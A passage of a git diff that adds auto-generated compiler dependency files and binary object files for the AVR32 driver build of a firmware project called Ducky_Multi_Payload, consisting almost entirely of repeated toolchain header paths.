5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/drivers/flashc/flashc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/flashc/flashc.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/flashc/flashc.o new file mode 100644 index 0000000..66e75a5 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/flashc/flashc.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.d new file mode 100644 index 0000000..09f21b3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.d @@ -0,0 +1,157 @@ +src/asf/avr32/drivers/gpio/gpio.d src/asf/avr32/drivers/gpio/gpio.o: \ + ../src/asf/avr32/drivers/gpio/gpio.c \ + ../src/asf/avr32/drivers/gpio/gpio.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h + +../src/asf/avr32/drivers/gpio/gpio.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.o new file mode 100644 index 0000000..32a3986 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/gpio/gpio.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/exception.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/exception.o new file mode 100644 index 0000000..3784c64 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/exception.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.d new file mode 100644 index 0000000..c2b61d6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/intc/intc.d @@ -0,0 +1,157 @@ +src/asf/avr32/drivers/intc/intc.d src/asf/avr32/drivers/intc/intc.o: \ + ../src/asf/avr32/drivers/intc/intc.c \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h 